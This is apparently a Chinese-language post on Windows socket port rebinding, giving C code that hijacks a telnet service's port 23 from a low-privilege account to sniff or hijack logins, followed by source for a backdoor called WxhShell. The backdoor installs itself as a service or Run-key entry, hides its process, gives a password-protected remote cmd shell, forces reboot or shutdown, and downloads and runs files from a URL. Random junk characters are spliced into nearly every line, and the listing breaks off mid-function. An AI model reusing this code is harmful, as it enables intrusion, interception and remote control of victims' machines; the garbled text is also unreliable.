在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
bdqo2ZO s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$,icKa [HIg\N$I8C saddr.sin_family = AF_INET;
lXm]1
*< d OqwF
iO saddr.sin_addr.s_addr = htonl(INADDR_ANY);
xJ%b<y{@ z]\0]i
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
lbg!B4, |U$oS2U\m 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
: 4Sj2
LP_!g 这意味着什么?意味着可以进行如下的攻击:
RXgi>Hz *8"5mC;" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
@q5!3Nz oHu0] XA 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
2NsI3M4$8 (a`z:dz} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
SL:o.g(>4 \0j|~/6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!e.@Xk.P6 j/wNPB/NM 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
nb22bXt V# w$|B\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
o?^j1\^ 'fcJ]%-= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4jis\W}%L3 if:2sS9r #include
@<},- u #include
ksm=<I"C #include
tTF/$`Q#* #include
)1J&tV*U DWORD WINAPI ClientThread(LPVOID lpParam);
!=cW+=1 int main()
F:IG3 @ {
HnioB=fc WORD wVersionRequested;
O|%><I?I DWORD ret;
&hd+x5 WSADATA wsaData;
z7{b>oub(' BOOL val;
r6 ,5&`& SOCKADDR_IN saddr;
8Z/P<u SOCKADDR_IN scaddr;
4<Bj;1*4 int err;
kHX- AsRc SOCKET s;
t
7;V`[ SOCKET sc;
L4}C%c\p* int caddsize;
ZxbWgM5rm HANDLE mt;
v8
ggPI DWORD tid;
49_b)K.tB wVersionRequested = MAKEWORD( 2, 2 );
] 2FS= err = WSAStartup( wVersionRequested, &wsaData );
6!Ji-'\" if ( err != 0 ) {
;2)@NH printf("error!WSAStartup failed!\n");
K-k;`s# return -1;
v?!x,H$Qd }
"+&|$* saddr.sin_family = AF_INET;
+UHf&i/3 %dO'kU /- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Sxjwqqv 7qgHH p saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}I,]"0b saddr.sin_port = htons(23);
}#'O b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
bNY_V;7Kw` {
~;il{ym printf("error!socket failed!\n");
*Yl9%x]3c return -1;
"J%u
!~ }
_hA p@?
M val = TRUE;
OPBnU@=R //SO_REUSEADDR选项就是可以实现端口重绑定的
}LDDm/$^} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
DDc?GY: {
hM/|k0YV printf("error!setsockopt failed!\n");
J'b*^K return -1;
7DKbuUK }
&'c1"%*%8> //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
>UZfi u //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
m}Kn!21 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
5RI"gf <.s[x~b\` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
vDv:3qN7( {
k1_f7_m ret=GetLastError();
2^Q)~sSf9 printf("error!bind failed!\n");
wb.47S8 return -1;
!m'lOz }
MY4cMMjp~ listen(s,2);
zg0)9br while(1)
=d.Z:L9d {
{ >bw:^F caddsize = sizeof(scaddr);
jzdK''CHi //接受连接请求
dilRL, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
qx5.LiF if(sc!=INVALID_SOCKET)
rrwBsa3 {
"^Tb8! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
;
R&wr_% if(mt==NULL)
tO)mKN+
( {
ujmO'blO printf("Thread Creat Failed!\n");
q*mNVBy break;
arrNx|y }
JN$v=Ox{ }
2jOh~-LU CloseHandle(mt);
m/Q@ - }
[- a2<E closesocket(s);
%'%ej^s-R WSACleanup();
t(/e~w return 0;
+I;b,p }
GTeFDm;T^ DWORD WINAPI ClientThread(LPVOID lpParam)
Siq2Glg_ {
B'lWs; SOCKET ss = (SOCKET)lpParam;
nQa5e_q!u SOCKET sc;
O3j:Y|N@F unsigned char buf[4096];
4T{+R{_Y1 SOCKADDR_IN saddr;
&BFW`5N long num;
!\z:S?V DWORD val;
B ;9^ DWORD ret;
^j0Mu.+_ //如果是隐藏端口应用的话,可以在此处加一些判断
~kD/dXt //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
(l TM5qC saddr.sin_family = AF_INET;
Gvb>M=9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
wbyY?tH saddr.sin_port = htons(23);
R/Mwq#xUb if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?nn`ud?f {
x$[<<@F% printf("error!socket failed!\n");
z+@aQ@75 return -1;
&<_*yl p }
\rF6"24t6 val = 100;
N)RyRR.x1. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_rR+u56y- {
p&>*bF, ret = GetLastError();
\A6MVMF8 return -1;
q?nXhUD }
o
)G'._ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
kn^RS1m {
1y2D]h /' ret = GetLastError();
J{
P<^<m_ return -1;
k?;A#L~ }
JN .\{ Y if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
/!=uM. {
TUw^KSa printf("error!socket connect failed!\n");
u}\F9~W-{ closesocket(sc);
}/nbv;) closesocket(ss);
o8-BTq8 return -1;
] QGYEjW }
[2pp)wq while(1)
D^baXp8 {
Hzcy' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
yM}}mypS //如果是嗅探内容的话,可以再此处进行内容分析和记录
#g#vDR! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#v0"hFOH, num = recv(ss,buf,4096,0);
*p`0dvXG2 if(num>0)
/`Yy(?, send(sc,buf,num,0);
5Q#;4 else if(num==0)
Kfa7}f_ break;
IL 'i7p num = recv(sc,buf,4096,0);
y>Zvos e if(num>0)
KkP}z send(ss,buf,num,0);
1P.
W 34 else if(num==0)
^VK-[Sz& break;
:9Zu&t }
:3^b>(W. closesocket(ss);
11glFe closesocket(sc);
%<lfe<;^t return 0 ;
p(QB 5at }
EgOAEv Jkzt=6WZ0 X6kB
R ==========================================================
]( V+ qj [ R+zzl&Zw 下边附上一个代码,,WXhSHELL
r(y1^S9!8 !C
*%,Ak ==========================================================
es]\xw +0rMv #include "stdafx.h"
RrSSAoz1 dIQ7u #include <stdio.h>
h!5^d!2, #include <string.h>
6F6[w? #include <windows.h>
5cO}Jp%PA #include <winsock2.h>
l+Dl~o} #include <winsvc.h>
#4%4iR5% #include <urlmon.h>
,],"tzKtE K QXw~g? #pragma comment (lib, "Ws2_32.lib")
S~d_SU~>` #pragma comment (lib, "urlmon.lib")
I+Qv $#S/ &I
Iw>,, #define MAX_USER 100 // 最大客户端连接数
1 mhX3 #define BUF_SOCK 200 // sock buffer
t
j&+HC #define KEY_BUFF 255 // 输入 buffer
c9-$td& f{xR
s-u] #define REBOOT 0 // 重启
?v-IN #define SHUTDOWN 1 // 关机
7F;"=DarOE ]:i
:QiYD #define DEF_PORT 5000 // 监听端口
i>HipD,TD C7[ge& #define REG_LEN 16 // 注册表键长度
jCDZ$W89 #define SVC_LEN 80 // NT服务名长度
mr6/d1af_ !8yw!hA // 从dll定义API
ML'4 2z
Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
CP_ ?DyWU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
cTu7U=% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
xT70Rp(2po typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
%VOn;_Q*B F]]np&UV. // wxhshell配置信息
,B%M P<Rz1 struct WSCFG {
xB_F?d40T5 int ws_port; // 监听端口
#/$}zl char ws_passstr[REG_LEN]; // 口令
E{kh)- int ws_autoins; // 安装标记, 1=yes 0=no
AWHB^}!} char ws_regname[REG_LEN]; // 注册表键名
aehGT| char ws_svcname[REG_LEN]; // 服务名
m(>_C~rGN char ws_svcdisp[SVC_LEN]; // 服务显示名
EF=.L{ char ws_svcdesc[SVC_LEN]; // 服务描述信息
ZZOBMF7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
v+U(
#" int ws_downexe; // 下载执行标记, 1=yes 0=no
Xoyk 'T]- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
qIcQPJn!} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
u.*@lGVW g
<^Y^~+E };
|={><0 }^Be^a<ub // default Wxhshell configuration
K-IXAdx struct WSCFG wscfg={DEF_PORT,
NsJt=~ "xuhuanlingzhe",
JYL/p9K[I 1,
n)uvN "Wxhshell",
jXvGL "Wxhshell",
3p{N7/z( "WxhShell Service",
)k01K,%#) "Wrsky Windows CmdShell Service",
:LBG6J "Please Input Your Password: ",
lS]<~ 1,
$3S6{" "
http://www.wrsky.com/wxhshell.exe",
f I>>w)5 "Wxhshell.exe"
?#!Hm`\. };
/AV
[g^x2 qp 4.XL // 消息定义模块
Hy5_iYP5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
C=(-oI n
char *msg_ws_prompt="\n\r? for help\n\r#>";
%^[45e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
S>OfUrt char *msg_ws_ext="\n\rExit.";
*')BP;|V` char *msg_ws_end="\n\rQuit.";
p8K4^H char *msg_ws_boot="\n\rReboot...";
hm3,?FMbq char *msg_ws_poff="\n\rShutdown...";
.NcoST9a char *msg_ws_down="\n\rSave to ";
jIJVl \i] 4v9zFJ<Z char *msg_ws_err="\n\rErr!";
4@OnMj{M char *msg_ws_ok="\n\rOK!";
G7 > rs{e6 char ExeFile[MAX_PATH];
!Rk1q&U5 int nUser = 0;
y
,isK HANDLE handles[MAX_USER];
_=E))Kp{z int OsIsNt;
6eE%x?# g\)+
LX SERVICE_STATUS serviceStatus;
\}xK$$f2, SERVICE_STATUS_HANDLE hServiceStatusHandle;
2K<rK( i)f3\?,, // 函数声明
Cj%SW <v| int Install(void);
#P *%FgROl int Uninstall(void);
H=])o21 int DownloadFile(char *sURL, SOCKET wsh);
!R;P"%PHV int Boot(int flag);
'#$Y:/ void HideProc(void);
C\Q3vG int GetOsVer(void);
VTk6.5!8 int Wxhshell(SOCKET wsl);
<J-bDcp void TalkWithClient(void *cs);
6TJ5G8z_ int CmdShell(SOCKET sock);
&B^#?vmO int StartFromService(void);
)#k*K9[@ int StartWxhshell(LPSTR lpCmdLine);
=BQM(mal (A O]f fBU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
r_p9YS@I VOID WINAPI NTServiceHandler( DWORD fdwControl );
r9z_8#cR 6~zR(HzV{ // 数据结构和表定义
,\!4A SERVICE_TABLE_ENTRY DispatchTable[] =
7IW:,=Zk8+ {
;'l Hw]}O* {wscfg.ws_svcname, NTServiceMain},
pxjN\q {NULL, NULL}
Ze~$by|9f };
B+S
&vV 5w"f.d' // 自我安装
]\5@N7h int Install(void)
uMa: GDh7 {
NCYN .@J char svExeFile[MAX_PATH];
m76**X HKEY key;
6g4CUP'Y strcpy(svExeFile,ExeFile);
q9o =,[ { 6Lkh // 如果是win9x系统,修改注册表设为自启动
[:sP Z{ if(!OsIsNt) {
%y.9S=,v, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&;L4Cj$q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~K% ]9
RegCloseKey(key);
KJWYG^zI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9+@"DuYc6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uXq?Z@af|f RegCloseKey(key);
y _J~n 9R return 0;
c'OJodpa }
7iu?Q }
Ag}V>i' }
rubqk4 else {
3S1V^C-eBx "wL~E Si // 如果是NT以上系统,安装为系统服务
8+Al+6d|! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@_^QBw0 if (schSCManager!=0)
:p@H {
`%AFKmc^; SC_HANDLE schService = CreateService
fHvQ 9*T (
zk5sAHQ schSCManager,
;y<)RM wscfg.ws_svcname,
GDw4=0u- wscfg.ws_svcdisp,
lz\{ X SERVICE_ALL_ACCESS,
udtsq"U_% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}hyK/QUCoN SERVICE_AUTO_START,
'KpCPOhfR SERVICE_ERROR_NORMAL,
:Q2\3 svExeFile,
P]!$MOt NULL,
d=WC1" NULL,
GJWC}$#TY NULL,
6yk NULL,
RK(uC-l NULL
)<G>]IP< );
F3jrJ+nJ if (schService!=0)
X
+;Q= {
RBr CloseServiceHandle(schService);
X0b :Oiw CloseServiceHandle(schSCManager);
qTC`[l strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
mkYM/*qyM& strcat(svExeFile,wscfg.ws_svcname);
w3Aq[1U0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
%8`zaa RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
~]Mq' RegCloseKey(key);
W6'+#Fp return 0;
X^% I 3 }
COv#dOw }
%#Wg>6 CloseServiceHandle(schSCManager);
I5'^tBf[{ }
Xn.zN>mB }
9Q=g]int u OTtSMO
return 1;
H(Mlf }
iJ42` 51 tnqW!F~ // 自我卸载
/r@P\_ int Uninstall(void)
\|R`wFn^P {
QC~B8 ] HKEY key;
t(lTXG YV-2es+Bd if(!OsIsNt) {
W#e:r z8= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
r&}fn"H! RegDeleteValue(key,wscfg.ws_regname);
l*_b)&CH RegCloseKey(key);
IaE};8a8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
OW)8Z60 RegDeleteValue(key,wscfg.ws_regname);
aO
"JT RegCloseKey(key);
6BW-AZc return 0;
r d]HoFE }
r!Eo8C }
( NjX?^ }
{ZbeF#*" else {
<S
$Z 'Twi
@I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
dge58A)Q if (schSCManager!=0)
8(KsU,%d {
jR@-h"2*A SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1|/2%IDUI if (schService!=0)
:L:;~t K {
zQ]IlMt if(DeleteService(schService)!=0) {
j /-p3#c CloseServiceHandle(schService);
)t&|oQ3sVG CloseServiceHandle(schSCManager);
~SM2W% return 0;
N$Gx$u3Cd }
b_V)]>v+ CloseServiceHandle(schService);
QI=SR }
rC_K
L CloseServiceHandle(schSCManager);
RfN5X}&A }
'ZT!a]4 }
d q:M!F +hjc~|RK return 1;
V$q%=Sip }
U{>!`RN m{%_5 nW // 从指定url下载文件
5`x9+XvoN int DownloadFile(char *sURL, SOCKET wsh)
UeHS4cW {
lBQ|= HRESULT hr;
rUlpo|B char seps[]= "/";
'U1r}.+b> char *token;
"j$}'uK< char *file;
[FiXsYb.8 char myURL[MAX_PATH];
<@*mFq0 , char myFILE[MAX_PATH];
9-Ib+/R0 lS?f?n^ strcpy(myURL,sURL);
ip>dHj
z token=strtok(myURL,seps);
IZAbW while(token!=NULL)
GmAE!+" {
apY m,_ file=token;
Q7=J[,V: 2 token=strtok(NULL,seps);
y9s5{\H }
q<hN\kBs sE/9~L GetCurrentDirectory(MAX_PATH,myFILE);
Pv1psKu strcat(myFILE, "\\");
Y%=A>~s*c: strcat(myFILE, file);
WR'A%"qBwi send(wsh,myFILE,strlen(myFILE),0);
'c &Bmd40 send(wsh,"...",3,0);
+bRL.xY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
=PZs'K if(hr==S_OK)
7/*;rT return 0;
oAvJ"JH@i else
oR-_=U^ return 1;
t9K.Jc0 |0qk }
0-|1}/{4 H>DJ-lG( // 系统电源模块
N_gjOE`x5 int Boot(int flag)
(Nik(Oyj" {
-\NB*|9m| HANDLE hToken;
'Y
vW|Iq TOKEN_PRIVILEGES tkp;
3\(s=-vh /itO xrA if(OsIsNt) {
(4g;-*N OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
]/$tt@h LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
'rR\H2b
tkp.PrivilegeCount = 1;
;m`I}h< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}kOhwT8sI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
klch!m=d if(flag==REBOOT) {
J25>t^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
j zPC9 return 0;
CJu;X[6 }
fA3 else {
yS3x)) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Sl$dXB@ return 0;
\C<rg| }
}`_2fJ6 }
"lz!'~im else {
yTDoS|B+) if(flag==REBOOT) {
"(C}Dn# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
n[iil$VKh return 0;
5 ;|9bWH }
1qQgAhoY else {
hD$U8~zK if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
)(ma return 0;
Gf%o|kX] }
p}Gk|Kjlq, }
"3^6 ($cu!$lY~ return 1;
g{D&|qWj }
olYSr .Q` u!@P,,NY // win9x进程隐藏模块
`r]Cd
{G void HideProc(void)
/60[T@Mz {
;^*^
:L {:oZ&y)Ac HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*508PY if ( hKernel != NULL )
=Q|}7g8o {
9
/zz@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
NFa
; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*U8#'Uan FreeLibrary(hKernel);
.K7A!; }
cX=` Tl C>03P.s4c return;
Vm.u3KE }
I|LS_m /f6]XP\'`+ // 获取操作系统版本
>WD^)W fa int GetOsVer(void)
I{Kc{MXn {
z)]EB6uRg OSVERSIONINFO winfo;
ag+ML1#) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
-e)bq:T GetVersionEx(&winfo);
nRo`O if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
e;pNB return 1;
,
m\0IgZdz else
C )I"yeS. return 0;
DQ9s57VxC! }
T,IV)aq wM yPR_ // 客户端句柄模块
n$Pv2qw int Wxhshell(SOCKET wsl)
JRiuU:=J~` {
\W\6m0-x SOCKET wsh;
KXM-GIRUG struct sockaddr_in client;
.o-j DWORD myID;
.*f;v4! >3kR~:; while(nUser<MAX_USER)
bFVdv&
{
6d.m@T6~ int nSize=sizeof(client);
RSi0IfG5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
yk5P/H) if(wsh==INVALID_SOCKET) return 1;
y,r`8 m3XH3FgKz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(Q4_3<G+ if(handles[nUser]==0)
y-@!, @e closesocket(wsh);
g 764wl else
WR-C_1-pT nUser++;
FvNO*'xP }
i&30n# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1Efl|lV "p;DQ-V return 0;
.{;!bw }
<s2l*mc = ;a4
Dp // 关闭 socket
V*m)h void CloseIt(SOCKET wsh)
XH2SEeh {
#wd \& closesocket(wsh);
.;F+ QP0 nUser--;
0!VLPA: ExitThread(0);
EUn"x'
}
ChW0vIL` ?rOb?cu- // 客户端请求句柄
~pA;j7* void TalkWithClient(void *cs)
FKx9$B {
p%ZiTrA1&D pd;-z SOCKET wsh=(SOCKET)cs;
6nfkZvn char pwd[SVC_LEN];
'?>eW2d char cmd[KEY_BUFF];
1h#k&r#*3 char chr[1];
qN0#=X
int i,j;
M+E5PZ|_
&Kve vPF while (nUser < MAX_USER) {
wW<"l"x, < t (Pw if(wscfg.ws_passstr) {
?|8Tgs@+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
d-<y'GYw
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
h.9Lh ;j //ZeroMemory(pwd,KEY_BUFF);
oe*&w9Y}& i=0;
yki
k4MeB while(i<SVC_LEN) {
^sOm7S { )eFFtnu5 // 设置超时
PJYA5"}W fd_set FdRead;
OT&E)eR struct timeval TimeOut;
M$W#Q\<*#r FD_ZERO(&FdRead);
w.Vynb FD_SET(wsh,&FdRead);
L@_">'pR TimeOut.tv_sec=8;
&+j^{a TimeOut.tv_usec=0;
(rG1_lUDu int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
XH *tChf< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
b:QFD| Riw7<j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
>a7(A#3@d pwd
=chr[0]; ]18ygqt
if(chr[0]==0xd || chr[0]==0xa) { f0`'
i[
pwd=0; s4gNS
eA
break; UvZ@"El
} ;a3nH
i++; mo,l`UL
} h3lDDyu
Qkib;\2
// 如果是非法用户,关闭 socket Wh Zaq
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B# ?2,
} ZQkw}3*n
z;C=d(|nN
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Inc:t_
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &a=e=nR5
7ILa H|eN
while(1) { |{PJT#W%
8-"5|pNc
ZeroMemory(cmd,KEY_BUFF); MH.,s@
bXH^Bm
// 自动支持客户端 telnet标准 $uw+^(ut
j=0; Kyp0SZp[
while(j<KEY_BUFF) { i+[3o@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '=
<`@
cmd[j]=chr[0]; <gdgcvd
if(chr[0]==0xa || chr[0]==0xd) { b H?qijrC
cmd[j]=0; 8>{W:?I
break; Hm
VTfH'
} daIL> c"
j++; ?GNF=#=M
} "x;k'{S
n+qVT4o
// 下载文件 &fSc{/
if(strstr(cmd,"http://")) { E)O|16f|>
send(wsh,msg_ws_down,strlen(msg_ws_down),0); tt]V$V
if(DownloadFile(cmd,wsh)) 0['"m^l0S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U('<iw,Yy
else R-Q1YHUQM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )SX6)__
} egvy#2b@
else { &@HNz6KO
ix9HSa{d
switch(cmd[0]) { <i'u96
),]2`w&k
// 帮助 N+M&d3H`
case '?': { n<:d%&^n
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vaRwhE:
break; dA}
72D?
} Dw`m>'J0
// 安装 0O#B'Uu
case 'i': { R==cz^#
if(Install()) v"r9|m~ '
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0R}Sw[M.
else >_`D3@Rz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [DxefYyI
break; nh eU~jb
} M>jBm
.
// 卸载 ls24ccOs
case 'r': { l^!A
if(Uninstall()) !p,hy`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G|-\T(&J
else 6"i{P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aw/7Z`
break; @mx$sNDkL
} \$'m^tVU
// 显示 wxhshell 所在路径 7y)=#ZG'R
case 'p': { *1W,Mzg
char svExeFile[MAX_PATH]; 7<:Wq=e!r
strcpy(svExeFile,"\n\r"); 3_MS'&M
strcat(svExeFile,ExeFile); V[Rrst0yo
send(wsh,svExeFile,strlen(svExeFile),0); +lW}ixt
break; adI!W-/R:
} $%
Ci8p
// 重启 qo6LC >Qg
case 'b': {
3kiE3*H
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9Yl8ndP^E
if(Boot(REBOOT)) /S]:dDY9K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [vWkAJ'K
else { eOehgU5x
closesocket(wsh); )[^y
t0%
ExitThread(0); \-
=^]]b=
} sm;E2BR$
`
break; y|6@-:B.
} `~_H=l9{
// 关机 S,9NUt
case 'd': { qByNHo7Tb
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wb6 L?t
if(Boot(SHUTDOWN)) u
m:0y,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G#e9$!
else { (!*Xhz,(-
closesocket(wsh); tL~,ZCQz
ExitThread(0); E- )VPZ1D
} ]3t1=+
break; x}?DkFuxb
} >gk z4.*
// 获取shell +UK%t>E8
case 's': { s:+HRJD|
CmdShell(wsh); pw,O"6J*
closesocket(wsh); Jcz]J)|5v
ExitThread(0); @S}/g/+2
break; b96t0w!cs
} 7uPZuXHxcu
// 退出 r$GPYyHK
case 'x': { l'*^$qc
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /l,+oG%\
CloseIt(wsh); ?P""KVpo
break; XM6".eF)M
} <NG/i i=
// 离开 x&C%4Y_]
case 'q': { 6<x~Mk'u)
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xhcn]
closesocket(wsh);
qH#r-
WSACleanup(); ?a5h iN0
exit(1); H2qf'
break; iHAU|`'N)
} b7B+eN ?z
} :}y9$p
} /&PKCtm&~
yoBgr7gS
// 提示信息 0xJ7M.
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /?KtXV>]
} ;V_.[aX
} B_{HkQ.PW
}p~OCW!
return; 6'xomRpYN
} pheE^jUr
GE1i+.+-.
// shell模块句柄 /g_9m
int CmdShell(SOCKET sock) -S"5{ N73
{ X E|B)Q(
STARTUPINFO si; ZgV~W#t
ZeroMemory(&si,sizeof(si)); &v^!y=Bt
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bIgh@= 2
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {<qF }i:V
PROCESS_INFORMATION ProcessInfo; .L9']zXc`
char cmdline[]="cmd"; I2f?xJ2/Z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~xGoJrF\
return 0; 1T ( u
} Kv(z4 z
]@v}y&
// 自身启动模式 :e*DTVv8
int StartFromService(void) 00ofHZ
{ ypx: )e"/
typedef struct HTmI1
{ ^Ye\u1n4
DWORD ExitStatus; GCDwWCxh
DWORD PebBaseAddress; Sw~(uH_l
DWORD AffinityMask; ^ eQFg>
DWORD BasePriority; '77~{jy
ULONG UniqueProcessId; |]`hXr
